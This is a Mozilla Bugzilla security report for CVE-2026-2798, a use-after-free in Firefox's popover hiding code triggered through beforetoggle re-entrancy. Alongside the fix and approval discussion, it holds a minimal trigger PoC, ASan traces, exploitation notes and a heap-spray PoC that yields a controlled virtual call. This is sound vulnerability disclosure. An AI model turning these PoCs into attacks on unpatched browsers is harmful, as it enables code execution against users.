Closed Bug 2014136 (CVE-2026-2798) Opened 6 months ago Closed 5 months ago

Use-After-Free in Document::HidePopover via beforetoggle reentrancy

Categories

(Core :: DOM: Core & HTML, defect, P3)

defect

Tracking

()

RESOLVED FIXED
149 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox147 --- wontfix
firefox148 + fixed
firefox149 + fixed

People

(Reporter: prodigysml555, Assigned: keithamus)

References

(Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form][adv-main148+])

Crash Data

Attachments

(5 files)

Summary

Document::HidePopover captures a raw PopoverData* at Document.cpp:16262 before dispatching a synchronous beforetoggle event at line 16273. A beforetoggle handler can free that PopoverData (by removing the popover attribute) and create a replacement (by re-adding it and calling showPopover()). The replacement passes CheckPopoverValidity since it checks GetPopoverData() on the element, not the stale local pointer. After the handler returns, lines 16295 and 16304 call data->SetInvoker(nullptr) through the dangling pointer, which reads 8 bytes from the freed memory and calls Release() on whatever value it finds there.

This is web-triggerable with no user interaction. The attacker has a JS execution window between the free and the use, allowing heap spray to place controlled data at the freed address. The Release() call goes through a vtable, giving a controlled virtual function call primitive.

Steps to Reproduce

  1. Build with ASan (--enable-address-sanitizer --disable-jemalloc --enable-debug)
  2. Run: MOZ_FORCE_DISABLE_E10S=1 ./mach run --headless -- file:///path/to/poc.html
  3. Crashes immediately with heap-use-after-free.

Minimal PoC (attached as popover_hide_uaf.html):

<!DOCTYPE html>
<div id="target" popover="auto">Popover content</div>
<script>
const el = document.getElementById('target');
el.showPopover();
let triggered = false;
el.addEventListener('beforetoggle', (e) => {
  if (e.newState === 'closed' && !triggered) {
    triggered = true;
    el.removeAttribute('popover');   // frees original PopoverData
    el.setAttribute('popover', 'auto'); // allocates new PopoverData
    el.showPopover();                // sets new PD to Showing
  }
});
el.hidePopover(); // UAF on return from beforetoggle
</script>

Heap spray PoC (attached as popover_hide_uaf_spray.html) crashes on debug builds without ASan with EXC_BAD_ACCESS at 0x4141414141414141.

What Happens

In Document::HidePopover:

line 16262:  auto* data = popoverHTMLEl->GetPopoverData();  // raw pointer, call it PD_old
line 16273:  popoverHTMLEl->FireToggleEvent(...)             // beforetoggle dispatch

The beforetoggle handler runs:

  • removeAttribute('popover') -> AfterSetPopoverAttr -> ClearPopoverData() frees PD_old
  • setAttribute('popover', 'auto') -> AfterSetPopoverAttr -> EnsurePopoverData() allocates PD_new
  • showPopover() -> sets PD_new to Showing state

Back in HidePopover after the handler returns:

  • Line 16280: IsPopoverOpenedInMode(Auto) checks PD_new -> passes
  • Line 16287: CheckPopoverValidity(Showing) checks PD_new -> passes
  • Line 16295: data->SetInvoker(nullptr) uses PD_old -> UAF

The IsShowingOrHiding reentrancy guard doesn't help because it was set on PD_old (which gets freed), and PD_new starts with IsShowingOrHiding=false (PopoverData.h:115 default).

CheckPopoverValidity (nsGenericHTMLElement.cpp:3381) can't catch this because it calls GetPopoverData() which returns PD_new -- it has no reference to the stale local data pointer.

ASan Output

==39837==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000746a20 at pc 0x00030161d998
READ of size 8 at 0x604000746a20 thread T0
SCARINESS: 51 (8-byte-read-heap-use-after-free)
    #0 nsCOMPtr<nsIWeakReference>::operator=()
    #1 mozilla::dom::Document::HidePopover()        <- Document.cpp:16295
    #2 mozilla::dom::HTMLElement_Binding::hidePopover()

0x604000746a20 is located 16 bytes inside of 48-byte region [0x604000746a10,0x604000746a40)

freed by thread T0 here:
    #0 free()
    #1 nsGenericHTMLElement::AfterSetPopoverAttr()   <- ClearPopoverData()
    #2 nsContentUtils::RemoveScriptBlocker()
    #3 mozilla::dom::Document::EndUpdate()
    #4 mozilla::dom::Element::UnsetAttr()            <- el.removeAttribute('popover')
    #5 mozilla::dom::Element::RemoveAttribute()
    ...
    #24 nsGenericHTMLElement::FireToggleEvent()       <- beforetoggle dispatch
    #25 mozilla::dom::Document::HidePopover()         <- outer HidePopover

previously allocated by thread T0 here:
    #0 malloc()
    #1 mozilla::dom::Element::CreatePopoverData()
    #2 nsGenericHTMLElement::AfterSetPopoverAttr()

Shadow bytes around the buggy address:
=>0x604000746a00: fa fa fd fd[fd]fd fd fd

The access at offset 16 within the freed 48-byte region corresponds to the mInvokerElement field in PopoverData.

Debug build heap spray crash:

EXC_BAD_ACCESS (code=1, address=0x4141414141414141)

frame #0: NS_LogCOMPtrRelease(aObject=0x4141414141414141) at nsTraceRefcnt.cpp:1120
frame #1: nsCOMPtr<nsIWeakReference>::assign_assuming_AddRef at nsCOMPtr.h:320
frame #2: nsCOMPtr<nsIWeakReference>::operator= at nsCOMPtr.h:615
frame #3: PopoverData::SetInvoker(aInvokerElement=0x0) at PopoverData.h:87
frame #4: Document::HidePopover(...) at Document.cpp:16295
frame #5: HTMLElement_Binding::hidePopover at HTMLElementBinding.cpp:2602

Exploitation Notes

SetInvoker(nullptr) assigns to mInvokerElement which is an nsCOMPtr<nsIWeakReference>. The assignment reads the old value from offset 16 in the freed memory and calls Release() on it (nsCOMPtr.h:316-324). Release() is virtual, so if the attacker reclaims the freed 48 bytes with controlled data, they get a vtable call to an attacker-chosen address.

PopoverData is 48 bytes (mVisibilityState at 0, mPreviouslyFocusedElement at 8, mInvokerElement at 16, mIsShowingOrHiding at 24, mTask at 32, mCloseWatcher at 40). This falls into a predictable jemalloc size class. The attacker has full JS execution between the free and use, giving a clean grooming window.

Both lines 16295 and 16304 use the stale pointer.

Suggested Fix

Re-fetch GetPopoverData() after the event dispatch instead of reusing the stale data pointer. After CheckPopoverValidity passes at line 16287:

data = popoverHTMLEl->GetPopoverData();
if (!data) {
  return;
}

Same treatment needed at line 16304 where data is used outside the fireEvents block.

Heap Spray PoC

<!DOCTYPE html>
<div id="target" popover="auto">Popover content</div>
<script>
const el = document.getElementById('target');
const sprayCount = 2000;

// Pre-warm the allocator
const warmupDivs = [];
for (let i = 0; i < 500; i++) {
  const d = document.createElement('div');
  d.setAttribute('popover', 'auto');
  document.body.appendChild(d);
  warmupDivs.push(d);
}
for (const d of warmupDivs) d.removeAttribute('popover');
for (const d of warmupDivs) d.remove();

el.showPopover();

let triggered = false;
const sprayStrings = [];

el.addEventListener('beforetoggle', (e) => {
  if (e.newState === 'closed' && !triggered) {
    triggered = true;

    // Free the original PopoverData (~48 bytes)
    el.removeAttribute('popover');

    // Spray 48-byte allocations to reclaim the freed slot.
    // nsStringBuffer(8 header) + 19 char16_t(38) + null(2) = 48 bytes.
    // Chars at indices 4-7 land at byte offset 16 (mInvokerElement).
    const poisonChar = String.fromCharCode(0x4141);
    const sprayStr = poisonChar.repeat(19);
    for (let i = 0; i < sprayCount; i++) {
      const s = sprayStr.substring(0, 15) + String.fromCharCode(0x4141 + (i & 0xFF)) +
                String.fromCharCode(0x4141 + ((i >> 8) & 0xFF)) +
                poisonChar + poisonChar;
      sprayStrings.push(s);
      if (i < 200) {
        const d = document.createElement('span');
        d.setAttribute('data-x', s);
        document.body.appendChild(d);
      }
    }

    // Re-add popover and re-show to pass CheckPopoverValidity
    el.setAttribute('popover', 'auto');
    el.showPopover();
  }
});

try { el.hidePopover(); } catch(e) {}
</script>

Tested on macOS ARM64, mozilla-central tip, both ASan and debug builds.

Flags: sec-bounty?
Group: firefox-core-security → dom-core-security
Component: Security → DOM: Core & HTML
Product: Firefox → Core
Assignee: nobody → mozilla
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file (secure)

We were fetching popoverdata too early, right before the beforetoggle
event, which meant that removing popover attribute and setting it back
(causing popoverdata to be freed and reallocated) would cause a UAF.

This change moves the GetPopoverData() call after beforetoggle, as we
don't actually need it until then, thus avoiding the issue. We could
make PopoverData RefCounted, but this is a simple fix for now, and we
can consider RefCounting some other time.

Is this a regression from bug 1968987 or is it even older?

Flags: needinfo?(mozilla)

I think that's right. Looking at the code prior to that, it doesn't seem vulnerable to this sort of issue.

Flags: needinfo?(mozilla)
Duplicate of this bug: 2014564
No longer duplicate of this bug: 2014564
Duplicate of this bug: 2014552
Severity: -- → S4
Priority: -- → P3

The severity field for this bug is set to S4. However, the bug is flagged with the sec-high keyword.
:keithamus, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(mozilla)
Severity: S4 → S3
Flags: needinfo?(mozilla)

The heap spray POC reliably crashes a Mac Nightly build on the address 0x4141414141414141
bp-d7a7dd4d-4ad6-4ac6-8c25-a47690260205

Crash Signature: [@ mozilla::dom::PopoverData::SetInvoker ]
Severity: S3 → S2
Attached file (secure)

Comment on attachment 9542413 [details]
(secure)

[Security approval request comment]
How easily can the security issue be deduced from the patch? Low
Do comments in the patch, the check-in comment, or tests included in
the patch paint a bulls-eye on the security problem?
No
Which older supported branches are affected by this flaw? 145
If not all supported branches, which bug introduced the flaw? https://bugzilla.mozilla.org/show_bug.cgi?id=1968987
Do you have backports for the affected branches? If not, how
different, hard to create, and risky will they be?
Quite trivial, low risk.
How likely is this patch to cause regressions; how much testing does
it need?
Low risk to regression

Comment on attachment 9542413 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Low
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release
  • If not all supported branches, which bug introduced the flaw?: Bug 1968987
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: Quite easy.
  • How likely is this patch to cause regressions; how much testing does it need?: Low risk of regression
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9542413 - Flags: sec-approval?

Comment on attachment 9542413 [details]
(secure)

sec-approval+, a=dveditz
Please wait until 2026-04-07 or later to land the test (I'll set a bugzilla reminder)

Attachment #9542413 - Flags: sec-approval? → sec-approval+
Whiteboard: [client-bounty-form] → [client-bounty-form][reminder-test 2026-04-07]
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 149 Branch

:keithamus, please add a beta uplift request when you have a moment

Flags: needinfo?(mozilla)
Attached file (secure)
Attachment #9543487 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined: This is sec-high
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Should apply cleanly, eliminates a sec-high bug.
  • String changes made/needed: No
  • Is Android affected?: yes
Flags: needinfo?(mozilla)
Attachment #9543487 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c149/b148]
Whiteboard: [client-bounty-form][reminder-test 2026-04-07] → [client-bounty-form][reminder-test 2026-04-07][adv-main148+]

Thank you for submitting this bug, which qualifies for our bug bounty program. Because a duplicate was found within our collision window we are splitting the bounty between the two bugs.

Flags: sec-bounty? → sec-bounty+
Alias: CVE-2026-2798

2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-04-07] .

keithamus, please refer to the original comment to better understand the reason for the reminder.

Flags: needinfo?(mozilla)
Whiteboard: [client-bounty-form][reminder-test 2026-04-07][adv-main148+] → [client-bounty-form][adv-main148+]
Flags: needinfo?(mozilla)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: